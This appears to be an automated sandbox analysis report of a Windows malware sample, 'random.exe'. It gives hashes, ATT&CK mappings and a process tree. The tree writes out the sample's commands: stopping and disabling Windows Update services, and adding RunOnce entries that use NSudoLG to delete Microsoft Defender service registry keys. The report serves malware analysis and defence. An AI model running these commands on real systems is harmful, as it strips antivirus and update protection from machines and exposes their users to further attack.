e85d78366fd90ef53bfb303e226e84614dd5b6ef77da78bc57a31569929acdbc

Analysis

max time kernel
105s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
08/08/2025, 16:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 2.1MB
Sample250808-vfsc9swtft
SHA256 e85d78366fd90ef53bfb303e226e84614dd5b6ef77da78bc57a31569929acdbc
MD5 3d73c81ae15586c2ed87eb8ede614f61
SHA1 e524cbbd7ffdd4e86dd7cddb544c16c1624ce243
SHA512 489e9481ddd49170a155844fa5cc2b42d83f6b0dc9165ecdd97f7be5ae22c4010a8db03158423221d39377ddef2196ed25e4dea1227be37fadfd09f86c4b5099
SSDEEP 49152:IBJxTpc8iYMdlRJ2+Mfg4UpZFFEotTbqagQm2dQK:y3TFMG+MipZFCotPxdQK
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1419306801-3438187156-704942707-1000\Control Panel\International\Geo\Nation	random.exe

Executes dropped EXE 3 IoCs

pid	Process
5304	nircmd.exe
2028	NSudoLG.exe
4932	7z.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4560	tasklist.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4744	sc.exe
5796	sc.exe
1988	sc.exe
3600	sc.exe
1716	sc.exe
2432	sc.exe
3788	sc.exe
3920	sc.exe
5244	sc.exe
2376	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4752	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2028	NSudoLG.exe
2028	NSudoLG.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	NSudoLG.exe
Token: SeDebugPrivilege	4560	tasklist.exe
Token: SeRestorePrivilege	4932	7z.exe
Token: 35	4932	7z.exe
Token: SeSecurityPrivilege	4932	7z.exe
Token: SeSecurityPrivilege	4932	7z.exe
Token: SeRestorePrivilege	5364	reg.exe
Token: SeRestorePrivilege	3096	reg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 540	1792	random.exe	82
PID 1792 wrote to memory of 540	1792	random.exe	82
PID 1792 wrote to memory of 540	1792	random.exe	82
PID 540 wrote to memory of 5304	540	cmd.exe	85
PID 540 wrote to memory of 5304	540	cmd.exe	85
PID 540 wrote to memory of 5560	540	cmd.exe	86
PID 540 wrote to memory of 5560	540	cmd.exe	86
PID 540 wrote to memory of 5560	540	cmd.exe	86
PID 540 wrote to memory of 1900	540	cmd.exe	87
PID 540 wrote to memory of 1900	540	cmd.exe	87
PID 540 wrote to memory of 1900	540	cmd.exe	87
PID 540 wrote to memory of 5124	540	cmd.exe	88
PID 540 wrote to memory of 5124	540	cmd.exe	88
PID 540 wrote to memory of 5124	540	cmd.exe	88
PID 540 wrote to memory of 2028	540	cmd.exe	89
PID 540 wrote to memory of 2028	540	cmd.exe	89
PID 540 wrote to memory of 4072	540	cmd.exe	95
PID 540 wrote to memory of 4072	540	cmd.exe	95
PID 540 wrote to memory of 4072	540	cmd.exe	95
PID 540 wrote to memory of 1164	540	cmd.exe	96
PID 540 wrote to memory of 1164	540	cmd.exe	96
PID 540 wrote to memory of 1164	540	cmd.exe	96
PID 540 wrote to memory of 5248	540	cmd.exe	97
PID 540 wrote to memory of 5248	540	cmd.exe	97
PID 540 wrote to memory of 5248	540	cmd.exe	97
PID 540 wrote to memory of 2976	540	cmd.exe	98
PID 540 wrote to memory of 2976	540	cmd.exe	98
PID 540 wrote to memory of 2976	540	cmd.exe	98
PID 540 wrote to memory of 4880	540	cmd.exe	99
PID 540 wrote to memory of 4880	540	cmd.exe	99
PID 540 wrote to memory of 4880	540	cmd.exe	99
PID 4880 wrote to memory of 4560	4880	cmd.exe	100
PID 4880 wrote to memory of 4560	4880	cmd.exe	100
PID 4880 wrote to memory of 4560	4880	cmd.exe	100
PID 540 wrote to memory of 4520	540	cmd.exe	101
PID 540 wrote to memory of 4520	540	cmd.exe	101
PID 540 wrote to memory of 4520	540	cmd.exe	101
PID 540 wrote to memory of 4576	540	cmd.exe	102
PID 540 wrote to memory of 4576	540	cmd.exe	102
PID 540 wrote to memory of 4576	540	cmd.exe	102
PID 540 wrote to memory of 4636	540	cmd.exe	103
PID 540 wrote to memory of 4636	540	cmd.exe	103
PID 540 wrote to memory of 4636	540	cmd.exe	103
PID 540 wrote to memory of 4648	540	cmd.exe	104
PID 540 wrote to memory of 4648	540	cmd.exe	104
PID 540 wrote to memory of 4648	540	cmd.exe	104
PID 540 wrote to memory of 4676	540	cmd.exe	105
PID 540 wrote to memory of 4676	540	cmd.exe	105
PID 540 wrote to memory of 4676	540	cmd.exe	105
PID 540 wrote to memory of 4828	540	cmd.exe	106
PID 540 wrote to memory of 4828	540	cmd.exe	106
PID 540 wrote to memory of 4828	540	cmd.exe	106
PID 540 wrote to memory of 4844	540	cmd.exe	107
PID 540 wrote to memory of 4844	540	cmd.exe	107
PID 540 wrote to memory of 4844	540	cmd.exe	107
PID 540 wrote to memory of 4664	540	cmd.exe	108
PID 540 wrote to memory of 4664	540	cmd.exe	108
PID 540 wrote to memory of 4664	540	cmd.exe	108
PID 540 wrote to memory of 4936	540	cmd.exe	109
PID 540 wrote to memory of 4936	540	cmd.exe	109
PID 540 wrote to memory of 4936	540	cmd.exe	109
PID 540 wrote to memory of 2160	540	cmd.exe	110
PID 540 wrote to memory of 2160	540	cmd.exe	110
PID 540 wrote to memory of 2160	540	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\SystemFiles\87oSKFC.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\ProgramData\SystemFiles\chama\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:5304
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5560
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1900
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:5124
- - C:\ProgramData\SystemFiles\chama\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\ProgramData\SystemFiles\87oSKFC.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2028
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1164
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5248
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4520
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4576
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4648
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4676
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4844
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4664
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2160
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5860
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1868
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2300
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:64
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3968
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4736
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4752
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4816
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4808
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4768
- - C:\ProgramData\SystemFiles\chama\7z.exe
    7z x -aoa -bso0 -bsp1 "some.zip" -p"roma" "german.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4932
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3788
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4744
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3920
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5796
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1988
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5244
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3600
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1716
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2376
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2432
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5092
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4012
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5252
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3260
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4364
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3096
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:2164
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\ProgramData\SystemFiles\chama\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5752
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\ProgramData\SystemFiles\chama\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

87oSKFC.bat

Path C:\ProgramData\SystemFiles\87oSKFC.bat
Size 10KB
SHA256 a9a9d946a85e6371e07cbb06a0c1d955465521d3718e07edeff35a7638a4ac11
MD5 5c1f55cf5721a524a597387d5c97aa5c
SHA1 272fe49908856a952b417d60fe5d20a84afa8bbe
SHA512 a7281f1afd2c8cd448a9a433436e505894c7b1587e62b0c7fc8eb33ed72c72460c34dfc092d05f4a0554db3dda32d42a1af7630712a5b7950428f40ebe73ae80
SSDEEP 192:6xm+iy0eSTBiKZIeMKYGMeqOLmDn07EyftqHxEYZgoRGRLhK8OIOry:64+iy0eO1ZIeMKYGyOLmDn07EyftqHKJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.exe

Path C:\ProgramData\SystemFiles\chama\7z.exe
Size 828KB
SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
MD5 426ccb645e50a3143811cfa0e42e2ba6
SHA1 3c17e212a5fdf25847bc895460f55819bf48b11d
SHA512 1ab13e8e6e0ca4ca2039f104d53a5286c4196e930319c4fe374fa3bf415214bb7c7d2a9d8ca677a29c911a356cca19a1cecae16dd4bf840bce725f20de4c8ff2
SSDEEP 24576:b82Iz/8J9oDionNtypHq6geLmUB1HXBxCbx5MwRv8:bBYUzoDtiqELmW6nR8
MD5 SHA1 SHA512 SSDEEP

Submit Download

NSudoLG.exe

Path C:\ProgramData\SystemFiles\chama\NSudoLG.exe
Size 174KB
SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
MD5 423129ddb24fb923f35b2dd5787b13dd
SHA1 575e57080f33fa87a8d37953e973d20f5ad80cfd
SHA512 d3f904c944281e9be9788acea9cd31f563c5a764e927bcda7bae6bedcc6ae550c0809e49fd2cf00d9e143281d08522a4f484acc8d90b37111e2c737e91ae21ce
SSDEEP 3072:XVLC09ymR7sITY17jR7h05cDnxngU9yInRU+Wi+StbaoJLQfo8BuA6N3ls:XT9yO7sITYNmYnbyInRU+Wi+StbaoJLR
MD5 SHA1 SHA512 SSDEEP

Submit Download

nircmd.exe

Path C:\ProgramData\SystemFiles\chama\nircmd.exe
Size 117KB
SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
MD5 4a9da765fd91e80decfd2c9fe221e842
SHA1 6f763fbd2b37b2ce76a8e874b05a8075f48d1171
SHA512 4716e598e4b930a0ec89f4d826afaa3dade22cf002111340bc253a618231e88f2f5247f918f993ed15b8ce0e3a97d6838c12b17616913e48334ee9b713c1957a
SSDEEP 3072:oG0tOQJC9TPafQy26RAA3hh5Tgr559MJZpOSDUDyjHHKHlLz1Ms/b:2OQJC9uICA11l1MYb
MD5 SHA1 SHA512 SSDEEP

Submit Download

some.zip

Path C:\ProgramData\SystemFiles\chama\some.zip
Size 1.2MB
SHA256 a31ad2ccebd821547fa59072b1f42fe92ec2e839f150c49fc0d1d060f721f18a
MD5 2ff5d55f3375eff4c6c262825e1d12c3
SHA1 18e9b2a66c36a2bec55dbd13c7ab2a0b41088208
SHA512 9065d61467a0a6fcfab99d9cb6fc0a17327702e7841a730ca8bd91a7a475d50e907747ec2530cb62c412aea078059e987fdd3c2ebb1be266649cf5c3457117a1
SSDEEP 24576:5FumS2+MbSqDMpxqjHNoAUpqMQMjFFEIRtAkbZRjBIJEgA/5mcuKPlQ5mw:aJ2+Mfg4UpZFFEotTbqagQm2dQz
MD5 SHA1 SHA512 SSDEEP

Submit Download